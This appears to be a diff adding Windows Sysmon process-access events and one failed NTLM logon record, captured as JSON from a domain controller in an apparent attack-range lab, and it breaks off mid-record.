+{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1860,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1861,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1862,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1863,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1864,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1865,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1866,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-0010D2310300}\r\nTargetProcessId: 3636\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-0010D2310300}","TargetProcessId":"3636","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221485,"ProcessID":860,"ThreadID":908,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t59378\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"59378","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1867,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.562\r\nSourceProcessGUID: {90617006-3FE7-5F2D-0000-0010D2310300}\r\nSourceProcessId: 3636\r\nSourceThreadId: 3612\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.562","SourceProcessGUID":"{90617006-3FE7-5F2D-0000-0010D2310300}","SourceProcessId":"3636","SourceThreadId":"3612","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program 